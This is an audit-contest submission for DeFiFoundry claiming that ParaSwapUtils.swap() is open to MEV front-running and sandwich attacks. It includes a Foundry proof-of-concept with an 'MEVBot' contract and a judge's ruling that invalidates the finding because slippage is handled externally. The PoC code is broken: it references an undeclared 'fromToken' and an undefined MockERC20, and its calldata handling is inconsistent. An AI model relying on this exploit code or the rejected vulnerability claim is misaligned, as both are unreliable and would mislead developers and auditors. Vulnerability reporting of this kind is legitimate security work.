DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

Potential Front-Running in ParaSwap Swaps

Summary

The ParaSwapUtils.swap() function executes swaps using ParaSwap but does not implement anti-front-running protections. Attackers monitoring the mempool can detect high-value swaps and insert their transactions ahead, profiting from price differences at the victim’s expense.

Vulnerability Details

Lack of Slippage Control:

  • The function directly calls ParaSwap using the provided callData without ensuring minimum output amounts.

  • Attackers can manipulate liquidity pools before execution, making users receive fewer tokens than expected.

Mempool Attack Risk:

  • Since the transaction includes an off-chain computed swap route, MEV bots can copy the swap parameters and execute the trade first (sandwich attack).

Approval Risks:

  • The function blindly approves the token transfer proxy for the swap amount each time. If an attacker replaces the ParaSwap contract address with a malicious contract, it could drain user funds.

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {ParaSwapUtils} from "../contracts/libraries/ParaSwapUtils.sol";
interface IParaSwap {
function swap(address, bytes calldata) external;
}
contract MEVBot {
using SafeERC20 for IERC20;
function frontRun(address paraSwap, bytes calldata callData) external {
(address to, uint256 amount, ) = abi.decode(callData, (address, uint256, bytes));
// MEV bot swaps the same amount first to manipulate the price
IERC20(fromToken).safeApprove(paraSwap, amount);
IParaSwap(paraSwap).swap(to, callData);
}
}
contract ParaSwapExploitTest is Test {
using SafeERC20 for IERC20;
address paraSwap = 0xDEF171Fe48CF0115B1d80b88dc8eAB59176FEe57; // Official ParaSwap address
address victim = address(0x123);
address mevBot;
IERC20 fromToken;
IERC20 toToken;
function setUp() public {
mevBot = address(new MEVBot());
fromToken = IERC20(address(new MockERC20()));
toToken = IERC20(address(new MockERC20()));
}
function testFrontRunning() public {
uint256 victimAmount = 100 ether;
uint256 botAmount = 50 ether;
// Victim prepares swap transaction
bytes memory callData = abi.encode(victim, victimAmount, "");
// MEV bot frontruns the transaction with a swap of 50 ETH
vm.prank(mevBot);
MEVBot(mevBot).frontRun(paraSwap, callData);
// Victim executes swap but gets a worse rate due to front-running
vm.prank(victim);
ParaSwapUtils.swap(paraSwap, callData);
// Assert: The victim gets a worse rate due to manipulated price
assertLt(toToken.balanceOf(victim), victimAmount);
}
}

Impact

  • Users executing swaps on ParaSwap are vulnerable to front-running and sandwich attacks.

  • Victims receive fewer tokens than expected, while attackers profit by exploiting the manipulated price.

  • High-value swaps (e.g., large ETH trades) are especially attractive to MEV bots.

Tools Used

Manual Review, Foundry

Recommendations

  • Implement slippage protection by ensuring a minimum output amount.

  • Use private mempool transactions (e.g., Flashbots) to avoid public exposure.

  • Time-delay execution mechanisms could help mitigate MEV attacks.

  • Use permit approvals instead of repeated safeApprove() calls to minimize token approval risk.

Updates

Lead Judging Commences

n0kto Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid_swap_slippage_and_deadline

Slippage and deadline are handled externally. Paraswap implementation used by the current code (behind the proxy): https://etherscan.io/address/0xdffd706ee98953d3d25a3b8440e34e3a2c9beb2c GMX code: https://github.com/gmx-io/gmx-synthetics/blob/caf3dd8b51ad9ad27b0a399f668e3016fd2c14df/contracts/order/OrderUtils.sol#L150C15-L150C33

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.